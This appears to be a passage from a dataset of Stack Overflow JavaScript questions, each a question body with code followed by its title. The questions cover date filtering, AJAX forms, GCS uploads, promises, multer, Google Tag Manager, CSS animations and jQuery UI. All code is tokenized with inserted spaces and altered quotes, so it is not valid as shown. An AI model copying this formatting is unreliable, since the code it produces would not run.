> < li class= '' nav active '' id= '' sp_tab '' onClick= '' $ ( this ) .addClass ( 'active ' ) ; $ ( ' # en_tab ' ) .removeClass ( 'active ' ) ; $ ( ' # dict_eng ' ) .addClass ( 'hide-div ' ) ; $ ( ' # dict_span ' ) .removeClass ( 'hide-div ' ) ; '' > < a href= '' '' data-toggle= '' tab '' > Spanish < /a > < /li > < li class= '' nav '' id= '' en_tab '' onClick= '' $ ( this ) .addClass ( 'active ' ) ; $ ( ' # sp_tab ' ) .removeClass ( 'active ' ) ; $ ( ' # dict_span ' ) .addClass ( 'hide-div ' ) ; $ ( ' # dict_eng ' ) .removeClass ( 'hide-div ' ) ; '' > < a href= '' '' data-toggle= '' tab '' > English < /a > < /li > < /ul > < div class= '' dictionary-result '' id= '' meaning '' > < p class= '' box-text '' > This bilingual dictionary is an actively growing resource accumulating new words each day . Currently drawing from the best names in the world of Spanish/English dictionary , such as < strong > Collins < /strong > < sup > ® < /sup > and < strong > Harrap < /strong > < sup > ® < /sup > , it continues to improve with every lookup you perform . It includes regionalism , colloquialism , and other non-standard quirkiness from over a dozen Spanish dialects ranging from Peninsular to Mexican and Argentinean to Cuban . This dictionary also includes a growing number of specialty terms specific to niches such as medicine , economics , politics , etc. < /p > < p class= '' box-text '' > Please use this page only for dictionary lookups and not comprehensive translations . You can enter either English or Spanish terms and the dictionary will automatically guess the language it belongs to . Keep your inputs to within 20 characters ( that should be long enough to handle any English or Spanish word you might want to look up ) . < /p > < /div > < /div > < ! -- sidebar -- > < div class= '' col col-md-4 '' > < ! -- history panel -- > < div class= '' panel panel-default panel-box card-effect '' > < div class= '' panel-heading panel-title '' > Recent Lookups < /div > < div id= '' recent-lookups '' class= '' panel-body panel-text '' > No historical data to show right now . Words will start appearing here as you begin your lookups . < /div > < /div > < ! -- WOTD panel -- > < div class= '' panel panel-default panel-box card-effect '' > < div class= '' panel-heading panel-title '' > Word of the Day < /div > < div id= '' wotd '' class= '' panel-body panel-text '' > Word of the day not currently available . < /div > < /div > < /div > < /div > < /div >",Strange behavior of $ routeChangeSuccess : Not triggering on first load ( but not throwing any error ) "JS : Say I have an array of birthdatesI 'll put each one through a function that will return those dates that have a birthday within 7 days from today ( or from now ? ) . What I have at the moment is this : The value 0.01995183087435 was determined from taking the number of milliseconds in 51 weeks and dividing by the number of milliseconds in 52 weeks , then one minus that ratio should be the 'sevenDayDiff ' variable . My JSFIDDLE , unfortunately , does n't quite get it right . There are a number of things wrong with this . My sevenDayDiff could be the wrong value . Also there 's the leap year issue too , even if I 'm dividing by 365.25 . I could be just going about this the wrong way.This is going in a web app so an administrator can fire off an email to those people who have a birthday within 7 days . Any hints or suggestions are welcome . var bdates = [ '1956-12-03 ' , '1990-03-09 ' , ... ] var bdays = _.map ( bdates , function ( date ) { var birthDate = new Date ( date ) ; var current = new Date ( ) ; var diff = current - birthDate ; // Difference in milliseconds var sevenDayDiff = Math.ceil ( diff/31557600000 ) - ( diff/31557600000 ) ; //1000*60*60*24*365.25 if ( sevenDayDiff < = 0.01916495550992 ) return date ; else return false ; } ) ;",Get list of people who have birthday within 1 week "JS : Following an old question , I still have a problem : What is the easiest way to find BOTH indexes of `` apple '' element in array ? I want to delete them both at once - is it possible ? a = [ `` apple '' , `` banana '' , `` orange '' , `` apple '' ] ; a.indexOf ( `` apple '' ) = 0",Is element in array js "JS : Im very new to Ajax and Jquery and learning through SO and online tutorials so please keep in mind im a rookie should you read and be kind enough to answer my post . I have managed to create the following which is a form that displays a message on submit . If form was successfully submitted a message is displayed without page refreshing as you can see in image below : FORM JQUERYWhat I want to doRetrieve the value from text field message and assign it to php variableMy problemWhen I try to retrieve the value of message with the following code , nothing happens : PHP code below formIm very new to Ajax so I guess I am doing something wrong here , unfortunately I dont know where I am going wrong so I am hoping someone can put me on the right path here.Thanks in advance < form name= '' message-form '' action= '' '' id= '' contact-form '' method '' post '' > Message < br / > < input type= '' text '' name= '' msg '' value= '' '' / > < br / > < input type= '' submit '' value= '' Contact Us '' name= '' contact '' class= '' buttono '' / > < /form > < div class= '' form-feedback '' style= '' display : none '' > Thank You We will Get Back to you < /div > < div class= '' form-feedback '' style= '' display : none '' > Ooops ... .Something Went Wrong < /div > < div > $ ( function ( ) { $ ( `` # contact-form '' ) .submit ( function ( e ) { e.preventDefault ( ) ; $ form = $ ( this ) ; $ .post ( document.location.url , $ ( this ) .serialize ( ) , function ( data ) { $ feedback = $ ( `` < div > '' ) .html ( data ) .find ( `` .form-feedback '' ) .hide ( ) ; $ form.prepend ( $ feedback ) [ 0 ] .reset ( ) ; $ feedback.fadeIn ( 1500 ) } ) } ) ; } ) < ? php if ( isset ( $ _POST [ 'contact ' ] ) ) { $ message = $ _POST [ 'msg ' ] ; echo $ message ; } ? >",AJax variable not getting send to php variable "JS : To upload files to google-cloud-storage ( gcs ) from node there is documented process like But I want to upload entire dir to gcs in said bucket bt-name , when I try to do so it throws promise rejection error -- EISDIR : illegal operation on a directory , read const Storage = require ( ' @ google-cloud/storage ' ) ; const storage = new Storage ( ) ; { const bucket = storage.bucket ( `` bt-name '' ) ; const res = await bucket.upload ( `` ./output_images/dir/file.png '' , { public : true } ) ; }",How to upload folders to GCS from node js using client library "JS : The input is either : ( 1 ) a bracketed representation of a tree with labeled internal nodes such as : with output : ( Whether the lines are dashed and whether the caption is present are not significant . ) Or the input could be : ( 2 ) a bracketing on words without labels e.g . : with output same as above ( no internal labels this time , just the tree structure ) .Another component of the input is whether the tree is labeled as in ( 1 ) or unlabeled as in ( 2 ) .My question : What is the best way ( fastest development time ) to render these trees in the browser in javascript ? Everything should happen on the client side.I 'm imagining a simple interface with just a textbox ( and a radio button specifying whether it is a labeled tree or not ) , that , when changed , triggers a tree to render ( if the input does not have any syntax errors ) . ( S ( N John ) ( VP ( V hit ) ( NP ( D the ) ( N ball ) ) ) ) ( ( John ) ( ( hit ) ( ( the ) ( ball ) ) ) )",Render linguistic syntax tree in browser "JS : Consider the following code : I am trying to understand what happens here correctly : on executing new Promise the `` executer function '' is run directly and when setTimeout is called , an operation to add a new entry to the `` event queue '' is scheduled ( for 5 seconds later ) because of the call to then an operation to add to a `` job queue '' a call to the passed function ( which logs to the console ) is organised to happen after the Promise is resolvedwhen the setTimeout callback is executed ( on some tick of the event loop ) , the Promise is resolved and based on point 2 , the function argument to the then call is added to a `` job queue '' and subsequently executed.Notice I say [ a `` job queue '' ] because there is something I am not sure about ; which `` job queue is it ? '' . The way I understand it , a `` job queue '' is linked to an entry on the `` event queue '' . So would that be the setTimeout entry in above example ? Assuming no other events are added to the `` event queue '' before ( and after ) setTimeout 's callback is added , would n't the entry for the main code ( the call to foo ) have been ( usually ) gone ( run to completion ) by that time and thus there would be no other entry than setTimeout 's for the then 's `` job queue '' entry to be linked to ? function foo ( ) { console.log ( 'foo ' ) ; new Promise ( function ( resolve , reject ) { setTimeout ( function ( ) { resolve ( 'RESOLVING ' ) ; } , 5000 ) ; } ) .then ( function ( value ) { console.log ( value ) ; } ) ; } foo ( ) ;","javascript promises , the event loop , and the job queue" "JS : I have two arrays of objects like below : I 'm trying to sort the items array , but I want to leverage the data in the pkgs array.The `` item_id '' field in the pkgs array corresponds to the `` id '' field in the items array.For example , I want to sort : first by `` tobuy '' in descending order then by `` store '' then by `` aisle '' then by `` name '' While item_id and id correspond between the two arrays , there is not a 1 to 1 relationship . There could be 0 or more pkgs that correspond to any given item . ( If I had a database , I would just join the tables , but in JavaScript I just have the two related arrays ) .I 'm not sure how to build the comparator function and pass in the second array.Thanks for any help . items = [ { `` id '' : '' 5 '' , '' tobuy '' : '' 1 '' , '' name '' : '' pop '' } , { `` id '' : '' 6 '' , '' tobuy '' : '' 1 '' , '' name '' : '' fish '' } , { `` id '' : '' 7 '' , '' tobuy '' : '' 0 '' , '' name '' : '' soda '' } ] pkgs = [ { `` item_id '' : '' 5 '' , '' store '' : '' Market '' , '' aisle '' : '' 3 '' } , { `` item_id '' : '' 6 '' , '' store '' : '' Market '' , '' aisle '' : '' 2 '' } , { `` item_id '' : '' 6 '' , '' store '' : '' Dept '' , '' aisle '' : '' 8 '' } , { `` item_id '' : '' 7 '' , '' store '' : '' Market '' , '' aisle '' : '' 4 '' } ]",Sort an array based on data in another array "JS : I 'm trying to `` GET '' an image from a file every 100ms by changing the source of a DOM object . I can see that the GET call is indeed returning the correct image every 100ms , but the actual image display only updates once a second . Here 's my JavaScript code that does the work : UPDATE : Changed the function to use preloading as follows : Still updates at the same speed ( which is actually every 5 seconds , not 1s as stated originally ) . So for every 50 get requests ( 10/sec for 5 seconds ) the element only gets updated once.Another important note : This second solution works perfectly on my localhost , where I run into the issue is when I 'm running the same webpage off of a remote host . < img id= '' videoDisplay '' style= '' width:800 ; height:600 '' / > < script type= '' text/javascript '' > function videoDataPoll ( filename ) { setTimeout ( function ( ) { document.getElementById ( `` videoDisplay '' ) .src = filename + `` ? random= '' + ( new Date ( ) ) .getTime ( ) ; videoDataPoll ( filename ) ; } , 100 ) ; } < /script > < canvas id= '' videoDisplay '' style= '' width:800 ; height:600 '' / > < script type= '' text/javascript '' > var x=0 , y=0 ; var canvas , context , img ; function videoDataPoll ( ) { var filename = getFilename ( ) ; canvas = document.getElementById ( `` videoDisplay '' ) ; context = canvas.getContext ( `` 2d '' ) ; img = new Image ( ) ; img.onload = function ( ) { context.drawImage ( img , x , y ) ; setTimeout ( `` videoDataPoll ( ) '' , 100 ) ; } img.src = filename + `` ? random= '' + ( new Date ( ) ) .getTime ( ) ; } < script >",DOM takes too long to react "JS : Here is my app.js file . Now I want to save the image name same as the object id of that specific book data which is generated in database ( mongoDB ) . How can I change the name of file ( which is inside storage , filename ) in app.post function . var express = require ( `` express '' ) ; var app = express ( ) ; var mongoose = require ( `` mongoose '' ) , bodyParser = require ( `` body-parser '' ) , methodOverride = require ( `` method-override '' ) , Book = require ( `` ./models/book '' ) , multer = require ( 'multer ' ) ; var storage = multer.diskStorage ( { destination : function ( request , file , callback ) { callback ( null , 'uploads/ ' ) ; } , filename : function ( request , file , callback ) { console.log ( file ) ; callback ( null , file.originalname ) } } ) ; var upload = multer ( { storage : storage } ) ; mongoose.Promise = global.Promise ; mongoose.connect ( `` mongodb : //localhost/books '' ) app.set ( `` view engine '' , `` ejs '' ) app.use ( express.static ( __dirname + `` /public '' ) ) app.use ( methodOverride ( `` _method '' ) ) ; app.use ( bodyParser.urlencoded ( { extended : true } ) ) ; app.get ( `` / '' , function ( req , res ) { res.redirect ( `` /books '' ) } ) //Add new bookapp.get ( `` /books/new '' , function ( req , res ) { res.render ( `` books/new.ejs '' ) } ) //CREATE BOOK logicapp.post ( `` /books '' , upload.single ( 'photo ' ) , function ( req , res , next ) { var name = req.body.name ; var price = req.body.price ; var desc = req.body.desc ; var newBook = { name : name , price : price , desc : desc } // I want to change the name of image same as the id of this database data Book.create ( newBook , function ( err , newlyCreated ) { if ( err ) { console.log ( err ) } else { res.redirect ( `` /books '' ) } } ) } ) //SHOW pageapp.get ( `` /books/ : id '' , function ( req , res ) { Book.findById ( req.params.id ) .exec ( function ( err , foundBook ) { if ( err ) { console.log ( err ) } else { res.render ( `` books/show.ejs '' , { books : foundBook } ) ; } } ) } ) app.get ( `` * '' , function ( req , res ) { res.send ( `` Error 404 '' ) ; } ) ; app.listen ( 3000 , function ( ) { console.log ( `` server started '' ) ; } ) ;",How can I set the name of file same as object id from database ? "JS : I have following input string Lorem ipsum dolor sit amet consectetur adipiscing elit sed doeiusmod tempor incididunt ut Duis aute irure dolor in reprehenderit in esse cillum dolor eu fugia ... Splitting rules by exampleSo as you can see string in array can have min one and max tree words . I try to do it as follows but does n't work - how to do it ? UPDATEBoundary conditions : if last words/word not match any rules then just add them as last array element ( but two long words can not be newer in one string ) SUMMARY AND INTERESTING CONCLUSIONSWe get 8 nice answer for this question , in some of them there was discussion about self-describing ( or self-explainable ) code . The self-describing code is when the person which not read the question is able to easy say what exactly code do after first look . Sadly any of answers presents such code - so this question is example which shows that self-describing is probably a myth [ `` Lorem ipsum dolor '' , // A : Tree words < 6 letters `` sit amet '' , // B : Two words < 6 letters if next word > 6 letters `` consectetur '' , // C : One word > =6 letters if next word > =6 letters `` adipiscing elit '' , // D : Two words : first > =6 , second < 6 letters `` sed doeiusmod '' , // E : Two words : firs < 6 , second > =6 letters `` tempor '' // rule C `` incididunt ut '' // rule D `` Duis aute irure '' // rule A `` dolor in '' // rule B `` reprehenderit in '' // rule D `` esse cillum '' // rule E `` dolor eu fugia '' // rule D ... ] let s= '' Lorem ipsum dolor sit amet consectetur adipiscing elit sed doeiusmod tempor incididunt ut Duis aute irure dolor in reprehenderit in esse cillum dolor eu fugia '' ; let a= [ `` '' ] ; s.split ( ' ' ) .map ( w= > { let line=a [ a.length-1 ] ; let n= line== '' '' ? 0 : line.match ( / /g ) .length // num of words in line if ( n < 3 ) line+=w+ ' ' ; n++ ; if ( n > =3 ) a [ a.length-1 ] =line } ) ; console.log ( a ) ;",Split string to array of strings with 1-3 words depends on length "JS : I am developing a Django project on localhost with some included JavaScript files in a base.html template . My JavaScript includes are at the bottom of the page : Sometimes , but frustratingly , not always , when I load or refresh a page , the GET request for one of the JavaScript files fails . Sometimes it 's the request for jquery-ui , sometimes it 's for jQuery itself , and other time it 's for bootstrap.js . If I paste the url directly into the browser , the JavaScript file loads perfectly fine , so it 's not a problem with my media urls . In Chrome , if I click on the console error and view the network tab , the status says `` ( failed ) '' and the type says `` pending . '' The request headers seem to show that the request has not actually failed , it just has n't gone through at all . Finally , loading the pages in Firefox does not produce an error , but shows that the response for the JavaScript files returns a 304.Is this a problem with how I 'm serving my static media ( nothing special besides the usual static media settings ) ? with Chrome ? How can I fix the issue ? ... other stuff ... < script src= '' /media/js/jquery.js '' type= '' text/javascript '' > < /script > < script src= '' /media/js/jquery-ui-1.9.1.custom.js '' type= '' text/javascript '' > < /script > < script src= '' /media/js/bootstrap.js '' type= '' application/javascript '' > < /script > < link rel= '' stylesheet '' href= '' /media/css/pepper-grinder/jquery-ui-1.9.1.custom.css '' / > { % block extrajs % } { % endblock % } < /body > Request URL : http : //localhost:8111/media/js/jquery-ui-1.9.1.custom.jsRequest Headersview sourceAccept : */*Cache-Control : no-cachePragma : no-cacheReferer : http : //localhost:8111/reservation/create/User-Agent : Mozilla/5.0 ( Macintosh ; Intel Mac OS X 10_8_2 ) AppleWebKit/537.4 ( KHTML , like Gecko ) Chrome/22.0.1229.94 Safari/537.4",Django JavaScript loading fails irregularly "JS : So I have a variable with a calculated position that centers the element with JQuery , reason I did this is because I will not know the width of the element so I made it dynamic like so.Then I tried to animate it to the center ( value of $ result ) like so : Sadly this did not work , only the top value moved . Any advice is greatly appreciated , thank you . var $ x = $ ( `` # line '' ) .outerWidth ( ) ; var $ result = `` calc ( 50 % - `` + $ x + '' px / 2 ) '' ; $ ( `` # line '' ) .animate ( { `` left '' : $ result , `` top '' : `` 15px '' } , 1000 ) ;",How can I animate a calculated position with JQuery "JS : I tried to do multiple input image preview with jQuery . Previewing the image works fine , but the image preview in same div , I need each image preview in different div . How can I do it ? HTMLcustom.jsMethodsfunction for Handle File Selectfunction for Handle Formfunction for remove file if clickedsee code pen snippet < html > < form action= '' index.php '' id= '' myForm '' name= '' myForm '' enctype= '' multipart/form-data '' method= '' post '' accept-charset= '' utf-8 '' > desktop : < input type= '' file '' id= '' files '' name= '' files '' multiple > < br/ > < div id= '' selectedFiles '' > < /div > mobile : < input type= '' file '' id= '' mobile '' name= '' mobile '' multiple > < br/ > < div id= '' selectFiles '' > < /div > < button type= '' submit '' > Submit < /button > < /form > < /br > < /body > < /html > $ ( document ) .ready ( function ( ) { /*multiple image preview first input*/ $ ( `` # files '' ) .on ( `` change '' , handleFileSelect ) ; selDiv = $ ( `` # selectedFiles '' ) ; $ ( `` # myForm '' ) .on ( `` submit '' , handleForm ) ; $ ( `` body '' ) .on ( `` click '' , `` .selFile '' , removeFile ) ; /*end image preview */ /* Multiple image preview second input*/ $ ( `` # mobile '' ) .on ( `` change '' , handleFileSelect ) ; selDivM = $ ( `` # selectFiles '' ) ; $ ( `` # myForm '' ) .on ( `` submit '' , handleForm ) ; $ ( `` body '' ) .on ( `` click '' , `` .selFile '' , removeFile ) ; /*end image preview*/ ) } var selDiv = `` '' ; var selDivM= '' '' ; var storedFiles = [ ] ; function handleFileSelect ( e ) { var files = e.target.files ; var filesArr = Array.prototype.slice.call ( files ) ; filesArr.forEach ( function ( f ) { if ( ! f.type.match ( `` image . * '' ) ) { return ; } storedFiles.push ( f ) ; var reader = new FileReader ( ) ; reader.onload = function ( e ) { var html = `` < div > < img src=\ '' '' + e.target.result + `` \ '' data-file= ' '' +f.name+ '' ' class='selFile ' title='Click to remove ' > '' + f.name + `` < br clear=\ '' left\ '' / > < /div > '' ; if ( typeof selDivM ! == `` '' ) { selDivM.append ( html ) ; } else { selDiv.append ( html ) ; } } reader.readAsDataURL ( f ) ; } ) ; } function handleForm ( e ) { e.preventDefault ( ) ; var data = new FormData ( ) ; for ( var i=0 , len=storedFiles.length ; i < len ; i++ ) { data.append ( 'files ' , storedFiles [ i ] ) ; } var xhr = new XMLHttpRequest ( ) ; xhr.open ( 'POST ' , 'handler.cfm ' , true ) ; xhr.onload = function ( e ) { if ( this.status == 200 ) { console.log ( e.currentTarget.responseText ) ; alert ( e.currentTarget.responseText + ' items uploaded . ' ) ; } } xhr.send ( data ) ; } function removeFile ( e ) { var file = $ ( this ) .data ( `` file '' ) ; for ( var i=0 ; i < storedFiles.length ; i++ ) { if ( storedFiles [ i ] .name === file ) { storedFiles.splice ( i,1 ) ; break ; } } $ ( this ) .parent ( ) .remove ( ) ; } $ ( document ) .ready ( function ( ) { /*multiple image preview first input*/ $ ( `` # files '' ) .on ( `` change '' , handleFileSelect ) ; selDiv = $ ( `` # selectedFiles '' ) ; $ ( `` # myForm '' ) .on ( `` submit '' , handleForm ) ; $ ( `` body '' ) .on ( `` click '' , `` .selFile '' , removeFile ) ; /*end image preview */ /* Multiple image preview second input*/ $ ( `` # mobile '' ) .on ( `` change '' , handleFileSelect ) ; selDivM = $ ( `` # selectFiles '' ) ; $ ( `` # myForm '' ) .on ( `` submit '' , handleForm ) ; $ ( `` body '' ) .on ( `` click '' , `` .selFile '' , removeFile ) ; } ) ; /*multiple image preview*/var selDiv = `` '' ; // var selDivM= '' '' ; var storedFiles = [ ] ; function handleFileSelect ( e ) { var files = e.target.files ; var filesArr = Array.prototype.slice.call ( files ) ; filesArr.forEach ( function ( f ) { if ( ! f.type.match ( `` image . * '' ) ) { return ; } storedFiles.push ( f ) ; var reader = new FileReader ( ) ; reader.onload = function ( e ) { var html = `` < div > < img src=\ '' '' + e.target.result + `` \ '' data-file= ' '' +f.name+ '' ' class='selFile ' title='Click to remove ' > '' + f.name + `` < br clear=\ '' left\ '' / > < /div > '' ; selDivM.append ( html ) ; } reader.readAsDataURL ( f ) ; } ) ; } function handleForm ( e ) { e.preventDefault ( ) ; var data = new FormData ( ) ; for ( var i=0 , len=storedFiles.length ; i < len ; i++ ) { data.append ( 'files ' , storedFiles [ i ] ) ; } var xhr = new XMLHttpRequest ( ) ; xhr.open ( 'POST ' , 'handler.cfm ' , true ) ; xhr.onload = function ( e ) { if ( this.status == 200 ) { console.log ( e.currentTarget.responseText ) ; alert ( e.currentTarget.responseText + ' items uploaded . ' ) ; } } xhr.send ( data ) ; } function removeFile ( e ) { var file = $ ( this ) .data ( `` file '' ) ; for ( var i=0 ; i < storedFiles.length ; i++ ) { if ( storedFiles [ i ] .name === file ) { storedFiles.splice ( i,1 ) ; break ; } } $ ( this ) .parent ( ) .remove ( ) ; } # selectedFiles img { max-width : 200px ; max-height : 200px ; float : left ; margin-bottom:10px ; } # userActions input { width : auto ; margin : auto ; } # selectFiles img { max-width : 200px ; max-height : 200px ; float : left ; margin-bottom:10px ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.0/jquery.min.js '' > < /script > < html > < body > < form action= '' index.php '' id= '' myForm '' name= '' myForm '' enctype= '' multipart/form-data '' method= '' post '' accept-charset= '' utf-8 '' > desktop : < input type= '' file '' id= '' files '' name= '' files '' multiple > < br/ > < div id= '' selectedFiles '' > < /div > mobile : < input type= '' file '' id= '' mobile '' name= '' mobile '' multiple > < br/ > < div id= '' selectFiles '' > < /div > < button type= '' submit '' > Submit < /button > < /form > < /body > < /html >",Image preview with jQuery "JS : I understand the general idea behind the this keyword but I 'm having trouble figuring out what it actually refers to in practice . For example , in both these example exercises , I guessed the wrong number . for question1 , I said that the alert would be ' 5 ' , because it is referring to the this.x outside the anonymous function in the function . In question2 , I thought the alert would be 5 because this linewould bind the value 5 for property x inside the variable o to the new variable 'alertX ' which becomes the function call in the next line : alertX ( ) ; Can you explain why I 'm wrong ? var alertX = o.alertX ; var question1 = function ( ) { this.x = 5 ; ( function ( ) { var x = 3 ; this.x = x ; } ) ( ) ; alert ( this.x ) ; } ; var answer1 = 3 ; var question2 = function ( ) { this.x = 9 ; var o = { ' x':5 , 'alertX ' : function ( ) { alert ( this.x ) ; } } ; var alertX = o.alertX ; alertX ( ) ; } var answer2 = 9 ;",what does 'this ' refer to in Javascript functions "JS : I 'm inserting a script tag into the DOM like so ( think JSONP ) : Now , I know a 404 response from abc.com for the script above would trigger that event ... What other headers/responses would cause the script tag to throw an error ? I 'd imagine it varies a little bit by browser , but if anyone has any sort of list that would be very helpful.Thanks ! var s = document.createElement ( 'script ' ) ; s.src = `` http : //abc.com/js/j.js '' ; s.onerror = function ( ) { alert ( `` Error loading script tag ! `` ) ; } ; document.getElementsByTagName ( 'head ' ) [ 0 ] .appendChild ( s ) ;",What HTTP headers/responses trigger the `` onerror '' handler on a script tag ? "JS : I 'm making better performance and load time our online shop , and we use Google Tag Manager on it . But the script that includes google tag manager also loads Google Analytics ( legacy ga.js ) and Universal Google Analytics ( analytics.js ) by default . I do n't need both of them , but if it 's necessary I only need Universal Google Analytics.So why is google tag manager including both scripts ? As a coding resume , this is the tag manager inclusion : -On network tab , it appears the inclusion and after it , it loads automatically both scripts : -If I analyze the Google Tag Manager script ( gtm.js ) I see the following : And this : -So google tag manager is including both scripts . I can assume Universal Google Analytics , but legacy ga.js script why ? ? Can I avoid the inclusion of both or only legacy ga.js scripts ? Thank you.EditI started a bounty because I need an explanation of why this happens , and if it 's possible a way to avoid this behavior . < script > ( function ( w , d , s , l , i ) { w [ l ] =w [ l ] || [ ] ; w [ l ] .push ( { 'gtm.start ' : new Date ( ) .getTime ( ) , event : 'gtm.js ' } ) ; var f=d.getElementsByTagName ( s ) [ 0 ] , j=d.createElement ( s ) , dl=l ! ='dataLayer ' ? ' & l='+l : '' ; j.async=true ; j.src='https : //www.googletagmanager.com/gtm.js ? id='+i+dl ; f.parentNode.insertBefore ( j , f ) ; } ) ( window , document , 'script ' , 'dataLayer ' , 'GTM-XXXX ' ) ; < /script > else if ( ! a ) { var N = c [ `` 60 '' ] ? `` .google-analytics.com/u/ga_debug.js '' : `` .google-analytics.com/ga.js '' ; a = ! 0 ; u ( x ( `` https : //ssl '' , `` http : //www '' , N , r ) , O , c [ `` 66 '' ] ) } if ( ! a ) { var M = b [ `` 60 '' ] ? `` u/analytics_debug.js '' : `` analytics.js '' ; b [ `` '' ] & & ! b [ `` 60 '' ] & & ( M = `` internal/ '' + M ) ; a = ! 0 ; bb ( x ( `` https : '' , `` http : '' , `` //www.google-analytics.com/ '' + M , d & & d.forceSSL ) , function ( ) { var a = $ a ( ) ; a & & a.loaded || b [ `` 66 '' ] ( ) ; } , b [ `` 66 '' ] ) }",Google Tag Manager includes both legacy Analytics ( GA ) and Universal Analytics ( UA ) scripts "JS : In Nicholas Zakas ' book , he explains the problem of circular referencing when using reference counting for garbage collection in Javascript . He uses the following example : explaining that the two objects will never have the memory allocated to them freed since they have two references to them inside the function . I would like some clarification of how this works.Clearly , there are two references to each object . The first object has both objectA and objectB.anotherObject pointing to it . The situation is analogous for the second object . So the reference count for each object is 2 . But what happens when the function is exited ? This is n't really described in the book . He says that the reference count is decremented whenever a reference to the value is overwritten with another value . I think this means : But what happens when the function exits ? As far as I understand , both objectA and objectB and their respective properties that reference each other will be destroyed , and thus , the two objects ' reference counts will be decremented by 2 . I do n't see the `` circular reference problem '' that Zakas talks about . Could somebody explain what he 's trying to say ? function problem ( ) { var objectA = new Object ( ) ; var objectB = new Object ( ) ; objectA.someOtherObject = objectB ; objectB.anotherObject = objectA ; } function problem ( ) { var objectA = new Object ( ) ; var objectB = new Object ( ) ; objectA.someOtherObject = objectB ; objectB.anotherObject = objectA ; objectA.someOtherObject = objectA ; // < -- that if I were to do this , //the reference count of the second object ( B ) //would become 1 , and 3 for the first object ( A ) . }",Circular referencing in Javascript reference counting "JS : I 'm learning how to use ractive and ca n't solve a problem , the code is at the following jsfiddle.The gist of what I 'm doing is counters for a queue ( last object in array is current person ) :1 . A counter to display the queue number of the current person2 . A counter to display the size of the queueA ) works correctly but it is bloated with logic so I tried to convert it into a separate variable , as shown in B ) but it does n't update at all . I put an observer in the code to watch when there is any change to the queue variable . I expect it to show an alert every time I click on `` skip current person '' or `` delete current person '' but the alert only shows up in the first time I load the page . ractive.observe ( { 'queue.0.queueNo ' : alert ( 'here ' ) } ) ;","Ractive and arrays , data not being updated" "JS : I have a caller function that invokes another function that send a HTTP POST with parameters . Now i want that this called function blocks execution until there is its `` success '' ( so when its HTTP POST has been done ) .This is my logical code : In few words , i want that other stuff has been executed after that HTTP POST response has been checked . I 've already seen another problem : initially , inserted has false value . In success ( data ) in HTTP POST response , it has true value . But , in the caller function , in the following console.log has undefined value.So , i have two question : how to return this value to the caller functionhow to stop execution of the caller function until HTTP POST response has been received ? var fingerprint = null ; var janus_session = null ; var inserted = `` false '' ; $ ( document ) .ready ( function ( ) { //stuff fingerprint = FindFingerprint ( jsep ) ; janus_session = janus.getSessionId ( ) ; inserted = SendSDPLine ( fingerprint , janus_session ) ; console.log ( `` **in MAIN : inserted= `` + inserted ) ; //other stuff } function SendSDPLine ( fingerprint , janus_session ) { var sdp = fingerprint ; // var url = `` http : //localhost:8484/Shine/AccountController '' ; var action_type = `` InsertSDPLine '' ; var sessionid = janus_session ; $ .ajax ( { type : `` POST '' , url : url , xhrFields : { withCredentials : false } , data : { `` action '' : action_type , `` sdpline '' : fingerprint , `` sessionid '' : sessionid } , success : function ( data ) { if ( data == `` INSERTED '' ) { inserted = `` true '' ; console.log ( `` in SENDSDPLINE : inserted= `` + inserted ) ; } return inserted ; // return checkFingerprint ( fingerprint ) ; } , // vvv -- -- This is the new bit error : function ( jqXHR , textStatus , errorThrown ) { console.log ( `` Error , status = `` + textStatus + `` , `` + `` error thrown : `` + errorThrown ) ; } } ) ; }",Javascript : call a blocking HTTP POST "JS : I have an element which is randomly animated with CSS and JS with the help of CSS custom properties in the following way : The idea behind is to have a set of animations which switch on each animation ’ s end randomly to another one . ( that for the opacity in the end is always 0 to make a smooth invisible switch . ) Now , surprisingly , this code above runs just fine , except that it does only once and then stop.I now there are JS loop techniques but I have no idea how to exactly implement them inside this workflow.Can someone help me ? var myElement = document.querySelector ( ' # my-element ' ) ; function setProperty ( number ) { myElement.style.setProperty ( ' -- animation-name ' , 'vibrate- ' + number ) ; } function changeAnimation ( ) { var number = Math.floor ( Math.random ( ) * 3 ) + 1 ; setProperty ( number ) ; /* restart the animation */ var clone = myElement.cloneNode ( true ) ; myElement.parentNode.replaceChild ( clone , myElement ) ; } myElement.addEventListener ( 'animationend ' , changeAnimation , false ) ; # my-element { width : 50px ; height : 50px ; background : # 333 ; } : root { -- animation-name : vibrate-1 ; } # my-element { animation : 3.3s 1 alternate var ( -- animation-name ) ; } @ keyframes vibrate-1 { 0 % { opacity : 0 ; transform : scale ( 0.95 ) ; } 50 % { opacity : 1 ; transform : scale ( 1 ) ; } 100 % { opacity : 0 ; transform : scale ( 0.9 ) ; } } @ keyframes vibrate-2 { 0 % { opacity : 0 ; transform : scale ( 0.5 ) ; } 50 % { opacity : 1 ; transform : scale ( 0.9 ) ; } 100 % { opacity : 0 ; transform : scale ( 0.5 ) ; } } @ keyframes vibrate-3 { 0 % { opacity : 0 ; transform : scale ( 0.3 ) ; } 50 % { opacity : 1 ; transform : scale ( 1 ) ; } 100 % { opacity : 0 ; transform : scale ( 0.8 ) ; } } < div id= '' my-element '' > < /div >",How can I restart a CSS animation with random values in a loop ? "JS : I am using jQuery UI Connectedlist Here drag and drop is working fine with both side from left to right and right to left.How can I disable right to left ? It has to work only one way , from left to right . I need also sorting to still work inside ul yellow items like in grey items . $ ( function ( ) { $ ( `` # sortable1 , # sortable2 '' ) .sortable ( { connectWith : `` .connectedSortable '' } ) .disableSelection ( ) ; } ) ; # sortable1 , # sortable2 { border : 1px solid # eee ; width : 142px ; min-height : 20px ; list-style-type : none ; margin : 0 ; padding : 5px 0 0 0 ; float : left ; margin-right : 10px ; } # sortable1 li , # sortable2 li { margin : 0 5px 5px 5px ; padding : 5px ; font-size : 1.2em ; width : 120px ; } < html lang= '' en '' > < head > < meta charset= '' utf-8 '' > < title > jQuery UI Sortable - Connect lists < /title > < link rel= '' stylesheet '' href= '' //code.jquery.com/ui/1.11.4/themes/smoothness/jquery-ui.css '' > < script src= '' //code.jquery.com/jquery-1.10.2.js '' > < /script > < script src= '' //code.jquery.com/ui/1.11.4/jquery-ui.js '' > < /script > < link rel= '' stylesheet '' href= '' /resources/demos/style.css '' > < body > < ul id= '' sortable1 '' class= '' connectedSortable '' > < li class= '' ui-state-default '' > Item 1 < /li > < li class= '' ui-state-default '' > Item 2 < /li > < li class= '' ui-state-default '' > Item 3 < /li > < li class= '' ui-state-default '' > Item 4 < /li > < li class= '' ui-state-default '' > Item 5 < /li > < /ul > < ul id= 